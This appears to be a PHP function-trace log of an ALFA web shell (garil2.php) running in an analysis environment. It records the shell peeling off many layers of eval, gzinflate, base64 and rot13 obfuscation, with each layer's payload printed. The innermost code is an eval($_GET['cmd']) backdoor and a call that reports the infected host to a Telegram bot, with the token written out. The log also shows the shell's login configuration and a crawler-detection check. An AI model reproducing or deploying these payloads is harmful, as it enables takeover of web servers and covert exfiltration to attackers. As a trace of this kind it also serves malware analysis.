'RGNISmtxSXdBQURRejJtN09JQUV4TlRVSEF5YlJJTW9zc2lsQ3dpckNMUkFFTDUrNXIyTXhjMm1XS3MyYitJeDJ5VHhrTzJrSDVxbEhjMDJ3L2orZVhmakZteStycjJpNTUvQXR1MnI5dHA5RkJXejRPQU5wYjNER2lzWVcwUkNTbUhHeDN3K2diMTBpaC82VlNZR2VoK3RFTjVvckxTbGZPQnFONzJ2a2Jqb0JIajNOZ3FlS0FBcEU3UEIzODFXSVVuZ1ZZZW1ZVytQNEQ1b0dOajk0QlI3NVZ5NHZWQkhaS0dHWWR5RDBxVFlSdWJraGN1bmxTMVdFVlFqL0JwRlRnNmhyMlFsTGlJNGpuYjUrbFNram5yTDZkQWo1cEU3bVlvUTlxcEUxQU5KTE1sOVFoc2Y5TnA3ZzZ2REU3V0RaNFUxbk52bnZEVGpwVnA4L1VaSlYyZzg3elNSU3l0aG52Rkp5SGxvVG9Mb2V2T1lYb0NDMkx4MkJiaE11bitK'
14	54	1	0.014447	2831536
14	54	R			'DcHJkqIwAADQz2m7OIAExNTUHAybRIMossilCwirCLRAEL5+5r2Mxc2mWKs2b+Ix2yTxkO2kH5qlHc02w/j+eXfjFmy+rr2i55/Atu2r9tp9FBWz4OANpb3DGisYW0RCSmHGx3w+gb10ih/6VSYGeh+tEN5orLSlfOBqN72vkbjoBHj3NgqeKAApE7PB381WIUngVYemYW+P4D5oGNj94BR75Vy4vVBHZKGGYdyD0qTYRubkhcunlS1WEVQj/BpFTg6hr2QlLiI4jnb5+lSkjnrL6dAj5pE7mYoQ9qpE1ANJLMl9Qhsf9Np7g6vDE7WDZ4U1nNvnvDTjpVp8/UZJV2g87zSRSythnvFJyHloToLoevOYXoCC2Lx2BbhMun+JUd36+xxhLsfNI+g9MZT1I+oTP1zO1StYfahFTjnB9nduFX+qtzSCiWpQfHtmw5s7bkfRTGTBuayW65TQzEsrXVPdlaE0OQorpCChonOi0rQvatYAwZtsI4mrBHBDvOO1'
14	55	0	0.014474	2830736	base64_decode	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'DcHJkqIwAADQz2m7OIAExNTUHAybRIMossilCwirCLRAEL5+5r2Mxc2mWKs2b+Ix2yTxkO2kH5qlHc02w/j+eXfjFmy+rr2i55/Atu2r9tp9FBWz4OANpb3DGisYW0RCSmHGx3w+gb10ih/6VSYGeh+tEN5orLSlfOBqN72vkbjoBHj3NgqeKAApE7PB381WIUngVYemYW+P4D5oGNj94BR75Vy4vVBHZKGGYdyD0qTYRubkhcunlS1WEVQj/BpFTg6hr2QlLiI4jnb5+lSkjnrL6dAj5pE7mYoQ9qpE1ANJLMl9Qhsf9Np7g6vDE7WDZ4U1nNvnvDTjpVp8/UZJV2g87zSRSythnvFJyHloToLoevOYXoCC2Lx2BbhMun+JUd36+xxhLsfNI+g9MZT1I+oTP1zO1StYfahFTjnB9nduFX+qtzSCiWpQfHtmw5s7bkfRTGTBuayW65TQzEsrXVPdlaE0OQorpCChonOi0rQvatYAwZtsI4mrBHBDvOO1'
14	55	1	0.014500	2831408
14	55	R			'\r�ɒ�0\000\000��i�8�\004���\034\f�D�(�ȥ\v\b�\b�@\020�~潌�ͦX�6o�1�$��\037��\035�6��yw�\026l��������}\024\025���\r���\032+\030[DBJa��|>��t�\037�U&\006z\037�\020�h���|�j7�����\004x�6\n�(\000)\023����V!I�U��ao��>h\030��\024{�\\��PGd��a܃Ҥ�F��˧�-V\021T#�\032EN\016��d%."8�v��T��z���#�;��\020��D�\003I,�}B\033\037��{���\023��g�5���4�Z|�FIWh<�4�K+a��I�yhN��z�^��ؼv\005�L��Q��\034a.��#�=1��#�\023?\\��+X}�EN9��wn\025��4��jP|{fÛ;nG�Ld�������K+]Sݕ�49\n+� ��s�Ҵ/j�\000��l#��\004pC�����\001'
14	56	0	0.014552	2830608	gzinflate	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'\r�ɒ�0\000\000��i�8�\004���\034\f�D�(�ȥ\v\b�\b�@\020�~潌�ͦX�6o�1�$��\037��\035�6��yw�\026l��������}\024\025���\r���\032+\030[DBJa��|>��t�\037�U&\006z\037�\020�h���|�j7�����\004x�6\n�(\000)\023����V!I�U��ao��>h\030��\024{�\\��PGd��a܃Ҥ�F��˧�-V\021T#�\032EN\016��d%."8�v��T��z���#�;��\020��D�\003I,�}B\033\037��{���\023��g�5���4�Z|�FIWh<�4�K+a��I�yhN��z�^��ؼv\005�L��Q��\034a.��#�=1��#�\023?\\��+X}�EN9��wn\025��4��jP|{fÛ;nG�Ld�������K+]Sݕ�49\n+� ��s�Ҵ/j�\000��l#��\004pC�����\001'
14	56	1	0.014607	2831152
14	56	R			'eval(gzinflate(base64_decode(str_rot13(\'Qp7EfxWNNNQDm6x7CJvWAUshN6JDvgvvy2MMh0wJHfwK384KaYEQ5MFBrHIX9Rda7nh5A+jScTzZ2yEM3UTnZWkBW3cv2esV6wIg443mjXGFN1H3TsDJ3NpsPg87LgSp0jZMydFFFTWhGdJNBGuUXyxn5IviMBjBJmt2+5X9V7ehJgZ9ttNhmxiMjZpIPoBYa/BSuG70XpC4MCAMbI4Sk9NJAEjUr3QP/MCo9L7vl+Spf/4wJyiyVERdMogD//PlZSdi0wwJK0f/9Gu02SUwtcO37Bvwzog3OuEVOaBjnV8fBJ+fJlYWpU2X5EHBpbVXyLimWzV9DZPhu9nqwn7Vuj1dZ9bCFdJRkesr+H1t2Gb50POzISPh9GfhIczcES594uP7vg4Wbd2PKd4u8gjvl30UuNFbaib3+sa6/Dp=\'))));'
14	57	0	0.014642	2832408	eval	1	'eval(gzinflate(base64_decode(str_rot13(\'Qp7EfxWNNNQDm6x7CJvWAUshN6JDvgvvy2MMh0wJHfwK384KaYEQ5MFBrHIX9Rda7nh5A+jScTzZ2yEM3UTnZWkBW3cv2esV6wIg443mjXGFN1H3TsDJ3NpsPg87LgSp0jZMydFFFTWhGdJNBGuUXyxn5IviMBjBJmt2+5X9V7ehJgZ9ttNhmxiMjZpIPoBYa/BSuG70XpC4MCAMbI4Sk9NJAEjUr3QP/MCo9L7vl+Spf/4wJyiyVERdMogD//PlZSdi0wwJK0f/9Gu02SUwtcO37Bvwzog3OuEVOaBjnV8fBJ+fJlYWpU2X5EHBpbVXyLimWzV9DZPhu9nqwn7Vuj1dZ9bCFdJRkesr+H1t2Gb50POzISPh9GfhIczcES594uP7vg4Wbd2PKd4u8gjvl30UuNFbaib3+sa6/Dp=\'))));'	/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	0
15	58	0	0.014668	2832408	str_rot13	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'Qp7EfxWNNNQDm6x7CJvWAUshN6JDvgvvy2MMh0wJHfwK384KaYEQ5MFBrHIX9Rda7nh5A+jScTzZ2yEM3UTnZWkBW3cv2esV6wIg443mjXGFN1H3TsDJ3NpsPg87LgSp0jZMydFFFTWhGdJNBGuUXyxn5IviMBjBJmt2+5X9V7ehJgZ9ttNhmxiMjZpIPoBYa/BSuG70XpC4MCAMbI4Sk9NJAEjUr3QP/MCo9L7vl+Spf/4wJyiyVERdMogD//PlZSdi0wwJK0f/9Gu02SUwtcO37Bvwzog3OuEVOaBjnV8fBJ+fJlYWpU2X5EHBpbVXyLimWzV9DZPhu9nqwn7Vuj1dZ9bCFdJRkesr+H1t2Gb50POzISPh9GfhIczcES594uP7vg4Wbd2PKd4u8gjvl30UuNFbaib3+sa6/Dp='
15	58	1	0.014697	2832952
15	58	R			'Dc7RskJAAADQz6k7PWiJNHfuA6WQitiil2ZZu0jWUsjX384XnLRD5ZSOeUVK9Eqn7au5N+wFpGmM2lRZ3HGaMJxOJ3pi2rfI6jVt443zwKTSA1U3GfQW3AcfCt87YtFc0wMZlqSSSGJuTqWAOThHKlka5VivZOwOWzg2+5K9I7ruWtM9ggAuzkvZwMcVCbOLn/OFhT70KcP4ZPNZoV4Fx9AWNRwHe3DC/ZPb9Y7iy+Fcs/4jWlvlIREqZbtQ//CyMFqv0jjWX0s/9Th02FHjgpB37Oijmbt3BhRIBnOwaI8sOW+sWyLJcH2K5RUOcoIKlYvzJmI9QMCuh9adja7Ihw1qM9oPSqWExrfe+U1g2To50CBmVFCu9TsuVpmpRF594hC7it4Joq2CXq4h8twiy30HhASonvo3+fn6/Qc='
15	59	0	0.014723	2832920	base64_decode	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'Dc7RskJAAADQz6k7PWiJNHfuA6WQitiil2ZZu0jWUsjX384XnLRD5ZSOeUVK9Eqn7au5N+wFpGmM2lRZ3HGaMJxOJ3pi2rfI6jVt443zwKTSA1U3GfQW3AcfCt87YtFc0wMZlqSSSGJuTqWAOThHKlka5VivZOwOWzg2+5K9I7ruWtM9ggAuzkvZwMcVCbOLn/OFhT70KcP4ZPNZoV4Fx9AWNRwHe3DC/ZPb9Y7iy+Fcs/4jWlvlIREqZbtQ//CyMFqv0jjWX0s/9Th02FHjgpB37Oijmbt3BhRIBnOwaI8sOW+sWyLJcH2K5RUOcoIKlYvzJmI9QMCuh9adja7Ihw1qM9oPSqWExrfe+U1g2To50CBmVFCu9TsuVpmpRF594hC7it4Joq2CXq4h8twiy30HhASonvo3+fn6/Qc='
15	59	1	0.014748	2833464
15	59	R			'\r�ѲB@\000\000�ϩ;=h�4w�\003���آ�fY�H�R����\027��C唎yEJ�J��7�\005�i��TY�q�0�N\'zbڷ��5m���\003U7\031�\026�\a\037\n�;b�\\�\003\031���HbnN��98G*Y\032�X�d�\016[86���#��Z�=�\000.�K��\025\t����>�)�d�Y�^\005��\0265\034\a{p�������\\��#Z[�!\021*e�P��0Z��8�_K?�8t�Qゐw�裙�w\006\024H\006s�h�,9o�["�p}��\025\016r�\n���&b=@���֝��ȇ\rj3�\017J��Ʒ�M`�:9� fTP��;.V��D^}�\020���\t���^�!��"�}\a�\004���7����\a'
15	60	0	0.014793	2832920	gzinflate	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'\r�ѲB@\000\000�ϩ;=h�4w�\003���آ�fY�H�R����\027��C唎yEJ�J��7�\005�i��TY�q�0�N\'zbڷ��5m���\003U7\031�\026�\a\037\n�;b�\\�\003\031���HbnN��98G*Y\032�X�d�\016[86���#��Z�=�\000.�K��\025\t����>�)�d�Y�^\005��\0265\034\a{p�������\\��#Z[�!\021*e�P��0Z��8�_K?�8t�Qゐw�裙�w\006\024H\006s�h�,9o�["�p}��\025\016r�\n���&b=@���֝��ȇ\rj3�\017J��Ʒ�M`�:9� fTP��;.V��D^}�\020���\t���^�!��"�}\a�\004���7����\a'
15	60	1	0.014842	2833400
15	60	R			'eval(gzinflate(str_rot13(base64_decode(\'BcHJZYIwAADQz0THg3kanZ51wIUKTygUuGfIgiABT5Ulfn3fcHDOl/dq1RY8f7Elzp95dPxFUzrKlouYgCvsHPN1TU4R75EdN9fXhVSiq4Iaygm5UbOJq+j8W/LEA4pUzxJxLXKmqJpGgdVMRpowy2IF6k3fg3hGXByqljEsQnAqdBt7SeQqULoNAq//ivoNSa+PKLxaT3EoLd2JzocRDIZc35UCOb59dTifaj8q20rYow1a1JpxsP+zP2qxDashgwx6n6XEouYvSrTIJBfMgTbog/6Wpubj9hH6YQpOqUdP6Bv/2J81w5pUaQPjhiSL1Xf18Q8=\'))));'
15	61	0	0.014877	2834720	eval	1	'eval(gzinflate(str_rot13(base64_decode(\'BcHJZYIwAADQz0THg3kanZ51wIUKTygUuGfIgiABT5Ulfn3fcHDOl/dq1RY8f7Elzp95dPxFUzrKlouYgCvsHPN1TU4R75EdN9fXhVSiq4Iaygm5UbOJq+j8W/LEA4pUzxJxLXKmqJpGgdVMRpowy2IF6k3fg3hGXByqljEsQnAqdBt7SeQqULoNAq//ivoNSa+PKLxaT3EoLd2JzocRDIZc35UCOb59dTifaj8q20rYow1a1JpxsP+zP2qxDashgwx6n6XEouYvSrTIJBfMgTbog/6Wpubj9hH6YQpOqUdP6Bv/2J81w5pUaQPjhiSL1Xf18Q8=\'))));'	/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	0
16	62	0	0.014903	2834720	base64_decode	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'BcHJZYIwAADQz0THg3kanZ51wIUKTygUuGfIgiABT5Ulfn3fcHDOl/dq1RY8f7Elzp95dPxFUzrKlouYgCvsHPN1TU4R75EdN9fXhVSiq4Iaygm5UbOJq+j8W/LEA4pUzxJxLXKmqJpGgdVMRpowy2IF6k3fg3hGXByqljEsQnAqdBt7SeQqULoNAq//ivoNSa+PKLxaT3EoLd2JzocRDIZc35UCOb59dTifaj8q20rYow1a1JpxsP+zP2qxDashgwx6n6XEouYvSrTIJBfMgTbog/6Wpubj9hH6YQpOqUdP6Bv/2J81w5pUaQPjhiSL1Xf18Q8='
16	62	1	0.014928	2835136
16	62	R			'\005��e�0\000\000��Dǃy\032��u��\nO(\024�gȂ \001O�%~}�ppΗ�j�\026<�%Οyt�ES:ʖ���+�\034�uMN\021�\0357�ׅT���\032�\t�Q����[��\003�T�\022q-r���F��LF�0�b\005�M߃xF\\\034��1,Bp*t\033{I�*P�\r\002����\rI��(�ZOq(-݉·\021\f�\\ߕ\0029�}u8�j?*�Jأ\rZԚq���?j�\r�!�\fz��Ģ�/J��$\027́6�����\021�a\nN�GO�\033�؟5ÚTi\003�$��w��\017'
16	63	0	0.014969	2835104	str_rot13	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'\005��e�0\000\000��Dǃy\032��u��\nO(\024�gȂ \001O�%~}�ppΗ�j�\026<�%Οyt�ES:ʖ���+�\034�uMN\021�\0357�ׅT���\032�\t�Q����[��\003�T�\022q-r���F��LF�0�b\005�M߃xF\\\034��1,Bp*t\033{I�*P�\r\002����\rI��(�ZOq(-݉·\021\f�\\ߕ\0029�}u8�j?*�Jأ\rZԚq���?j�\r�!�\fz��Ģ�/J��$\027́6�����\021�a\nN�GO�\033�؟5ÚTi\003�$��w��\017'
16	63	1	0.015008	2835456
16	63	R			'\005��r�0\000\000��Qǃl\032��h��\nB(\024�tȂ \001B�%~}�ccΗ�w�\026<�%Οlg�RF:ʖ���+�\034�hZA\021�\0357�ׅG���\032�\t�D����[��\003�G�\022d-e���S��YS�0�o\005�Z߃kS\\\034��1,Oc*g\033{V�*C�\r\002����\rV��(�MBd(-݉·\021\f�\\ߕ\0029�}h8�w?*�Wأ\rMԚd���?w�\r�!�\fm��Ģ�/W��$\027́6�����\021�n\nA�TB�\033�؟5ÚGv\003�$��j��\017'
16	64	0	0.015054	2835040	gzinflate	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'\005��r�0\000\000��Qǃl\032��h��\nB(\024�tȂ \001B�%~}�ccΗ�w�\026<�%Οlg�RF:ʖ���+�\034�hZA\021�\0357�ׅG���\032�\t�D����[��\003�G�\022d-e���S��YS�0�o\005�Z߃kS\\\034��1,Oc*g\033{V�*C�\r\002����\rV��(�MBd(-݉·\021\f�\\ߕ\0029�}h8�w?*�Wأ\rMԚd���?w�\r�!�\fm��Ģ�/W��$\027́6�����\021�n\nA�TB�\033�؟5ÚGv\003�$��j��\017'
16	64	1	0.015097	2835392
16	64	R			'eval(gzinflate(base64_decode(\'Vc7LCoJAFADQfV8REVmLtIlUpoiQkCywRMc2EcM03lTylXN70NdHy7ZndeApimGfb1x20mSZaOfRonPNC+ApIJd1hVChGvYyxEbNDUM0uY5QQNqKUq/b1LjUSOwppZRYhMwdx9v7u4y+g0fRJPE9mllx6W1e8ibNdmdX1kcZCqrEB6VECiuZCeR5shybpkltMpnRAcIbl72u3u3zyA2PbnjSPMYC7h0ipp3/PFqH24DxveO7v/cX\')));'
16	65	0	0.015130	2837288	eval	1	'eval(gzinflate(base64_decode(\'Vc7LCoJAFADQfV8REVmLtIlUpoiQkCywRMc2EcM03lTylXN70NdHy7ZndeApimGfb1x20mSZaOfRonPNC+ApIJd1hVChGvYyxEbNDUM0uY5QQNqKUq/b1LjUSOwppZRYhMwdx9v7u4y+g0fRJPE9mllx6W1e8ibNdmdX1kcZCqrEB6VECiuZCeR5shybpkltMpnRAcIbl72u3u3zyA2PbnjSPMYC7h0ipp3/PFqH24DxveO7v/cX\')));'	/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	0
17	66	0	0.015153	2837288	base64_decode	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'Vc7LCoJAFADQfV8REVmLtIlUpoiQkCywRMc2EcM03lTylXN70NdHy7ZndeApimGfb1x20mSZaOfRonPNC+ApIJd1hVChGvYyxEbNDUM0uY5QQNqKUq/b1LjUSOwppZRYhMwdx9v7u4y+g0fRJPE9mllx6W1e8ibNdmdX1kcZCqrEB6VECiuZCeR5shybpkltMpnRAcIbl72u3u3zyA2PbnjSPMYC7h0ipp3/PFqH24DxveO7v/cX'
17	66	1	0.015177	2837640
17	66	R			'U��\n�@\024\000�}_\021\021Y���T����,�D�6\021�4�T�s{��G˶gu�)�a�o\\v�d�h�Ѣs�\v�) �u�P�\032�2�F�\rC4��P@ڊR��Ը�H�)��X��\035������G�$�=�Yq�m^�&�vgW�G\031\n��\a�D\n+�\t�y�\034��Im2��\001�\033�������\r�nx�<�\002�\035"���<Z�ۀ�㻿�\027'
17	67	0	0.015212	2837608	gzinflate	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'U��\n�@\024\000�}_\021\021Y���T����,�D�6\021�4�T�s{��G˶gu�)�a�o\\v�d�h�Ѣs�\v�) �u�P�\032�2�F�\rC4��P@ڊR��Ը�H�)��X��\035������G�$�=�Yq�m^�&�vgW�G\031\n��\a�D\n+�\t�y�\034��Im2��\001�\033�������\r�nx�<�\002�\035"���<Z�ۀ�㻿�\027'
17	67	1	0.015251	2837896
17	67	R			'eval($_GET[\'cmd\']);\nfile_get_contents("https://api.telegram.org/bot1729991611:AAHNMJh9xPulpdUqS46UmHGwckc5rJ7n6zs/sendMessage?chat_id=-555971049&text=" . $_SERVER[\'HTTP_HOST\'] . $_SERVER[\'SCRIPT_NAME\']);'
17	68	0	0.015293	2839400	eval	1	'eval($_GET[\'cmd\']);\nfile_get_contents("https://api.telegram.org/bot1729991611:AAHNMJh9xPulpdUqS46UmHGwckc5rJ7n6zs/sendMessage?chat_id=-555971049&text=" . $_SERVER[\'HTTP_HOST\'] . $_SERVER[\'SCRIPT_NAME\']);'	/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	0
18	69	0	0.015324	2839624	file_get_contents	0		/var/www/html/uploads/garil2.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	2	1	'https://api.telegram.org/bot1729991611:AAHNMJh9xPulpdUqS46UmHGwckc5rJ7n6zs/sendMessage?chat_id=-555971049&text=localhost/uploads/garil2.php'
18	69	1	0.121292	2841480
18	69	R			FALSE
17	68	1	0.121333	2841248
16	65	1	0.121342	2839520
15	61	1	0.121349	2837976
14	57	1	0.121357	2836048
13	52	1	0.121365	2833928
12	49	1	0.121372	2830848
11	45	1	0.121378	2828152
10	41	1	0.121386	2825008
9	39	1	0.121393	2821352
8	35	1	0.121400	2817632
7	30	1	0.121407	2813464
6	26	1	0.121414	2808472
5	22	1	0.121421	2803800
4	17	1	0.121428	2798864
3	13	1	0.121435	2793360
2	9	1	0.121444	2787144
1		A						/var/www/html/uploads/garil2.php	5	GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/garil2.php	15	$CWppUDJxuf = 'function_exists'
1		A						/var/www/html/uploads/garil2.php	16	$aztJtafUXm = 'charCodeAt'
1		A						/var/www/html/uploads/garil2.php	17	$OVpGNqqFZs = 'eval'
1		A						/var/www/html/uploads/garil2.php	18	$psDEwGhsxg = 'gzinflate'
2	70	0	0.121527	2779904	function_exists	0		/var/www/html/uploads/garil2.php	20	1	'base64_encode'
2	70	1	0.121542	2779944
2	70	R			TRUE
2	71	0	0.121564	2779904	function_exists	0		/var/www/html/uploads/garil2.php	68	1	'base64_decode'
2	71	1	0.121578	2779944
2	71	R			TRUE
1		A						/var/www/html/uploads/garil2.php	122	GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/garil2.php	124	$key = 'username'
2	72	0	0.121626	2779880	substr	0		/var/www/html/uploads/garil2.php	126	3	'username'	0	2
2	72	1	0.121640	2780008
2	72	R			'us'
1		A						/var/www/html/uploads/garil2.php	126	$prefix = 'us'
1		A						/var/www/html/uploads/garil2.php	129	GLOBALS['DB_NAME']['user'] = 'alfa'
1		A						/var/www/html/uploads/garil2.php	130	GLOBALS['DB_NAME']['user_rand'] = 'username'
1		A						/var/www/html/uploads/garil2.php	124	$key = 'password'
2	73	0	0.121701	2780608	substr	0		/var/www/html/uploads/garil2.php	126	3	'password'	0	2
2	73	1	0.121714	2780736
2	73	R			'pa'
1		A						/var/www/html/uploads/garil2.php	126	$prefix = 'pa'
1		A						/var/www/html/uploads/garil2.php	134	GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1		A						/var/www/html/uploads/garil2.php	135	GLOBALS['DB_NAME']['pass_rand'] = 'password'
1		A						/var/www/html/uploads/garil2.php	124	$key = 'safe_mode'
2	74	0	0.121773	2780608	substr	0		/var/www/html/uploads/garil2.php	126	3	'safe_mode'	0	2
2	74	1	0.121787	2780736
2	74	R			'sa'
1		A						/var/www/html/uploads/garil2.php	126	$prefix = 'sa'
1		A						/var/www/html/uploads/garil2.php	139	GLOBALS['DB_NAME']['safemode'] = '0'
1		A						/var/www/html/uploads/garil2.php	140	GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1		A						/var/www/html/uploads/garil2.php	124	$key = 'login_page'
2	75	0	0.121845	2780608	substr	0		/var/www/html/uploads/garil2.php	126	3	'login_page'	0	2
2	75	1	0.121858	2780736
2	75	R			'lo'
1		A						/var/www/html/uploads/garil2.php	126	$prefix = 'lo'
1		A						/var/www/html/uploads/garil2.php	144	GLOBALS['DB_NAME']['login_page'] = '403'
1		A						/var/www/html/uploads/garil2.php	145	GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1		A						/var/www/html/uploads/garil2.php	124	$key = 'show_icons'
2	76	0	0.121916	2780608	substr	0		/var/www/html/uploads/garil2.php	126	3	'show_icons'	0	2
2	76	1	0.121929	2780736
2	76	R			'sh'
1		A						/var/www/html/uploads/garil2.php	126	$prefix = 'sh'
1		A						/var/www/html/uploads/garil2.php	149	GLOBALS['DB_NAME']['show_icons'] = '1'
1		A						/var/www/html/uploads/garil2.php	150	GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1		A						/var/www/html/uploads/garil2.php	124	$key = 'post_encryption'
2	77	0	0.121986	2780608	substr	0		/var/www/html/uploads/garil2.php	126	3	'post_encryption'	0	2
2	77	1	0.121999	2780736
2	77	R			'po'
1		A						/var/www/html/uploads/garil2.php	126	$prefix = 'po'
1		A						/var/www/html/uploads/garil2.php	154	GLOBALS['DB_NAME']['post_encryption'] = FALSE
1		A						/var/www/html/uploads/garil2.php	155	GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1		A						/var/www/html/uploads/garil2.php	124	$key = 'cgi_api'
2	78	0	0.122058	2780608	substr	0		/var/www/html/uploads/garil2.php	126	3	'cgi_api'	0	2
2	78	1	0.122071	2780736
2	78	R			'cg'
1		A						/var/www/html/uploads/garil2.php	126	$prefix = 'cg'
1		A						/var/www/html/uploads/garil2.php	159	GLOBALS['DB_NAME']['cgi_api'] = TRUE
1		A						/var/www/html/uploads/garil2.php	160	GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1		A						/var/www/html/uploads/garil2.php	168	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	79	0	0.122139	2781248	implode	0		/var/www/html/uploads/garil2.php	168	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	79	1	0.122160	2781408
2	79	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2	80	0	0.122178	2781344	preg_match	0		/var/www/html/uploads/garil2.php	168	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i'	'python-requests/2.25.1'
2	80	1	0.122199	2781408
2	80	R			0
2	81	0	0.122214	2781248	define	0		/var/www/html/uploads/garil2.php	175	2	'__ALFA_VERSION__'	'4.1'
2	81	1	0.122228	2781352
2	81	R			TRUE
2	82	0	0.122241	2781280	define	0		/var/www/html/uploads/garil2.php	176	2	'__ALFA_UPDATE__'	'2'
2	82	1	0.122254	2781384
2	82	R			TRUE
2	83	0	0.122267	2781312	define	0		/var/www/html/uploads/garil2.php	177	2	'__ALFA_CODE_NAME__'	'Tesla'
2	83	1	0.122281	2781416
2	83	R			TRUE
2	84	0	0.122293	2781344	define	0		/var/www/html/uploads/garil2.php	178	2	'__ALFA_DATA_FOLDER__'	'ALFA_DATA'
2	84	1	0.122307	2781448
2	84	R			TRUE
2	85	0	0.122320	2781376	define	0		/var/www/html/uploads/garil2.php	179	2	'__ALFA_POST_ENCRYPTION__'	FALSE
2	85	1	0.122334	2781480
2	85	R			TRUE
2	86	0	0.122347	2781408	define	0		/var/www/html/uploads/garil2.php	180	2	'__ALFA_SECRET_KEY__'	''
2	86	1	0.122361	2781512
2	86	R			TRUE
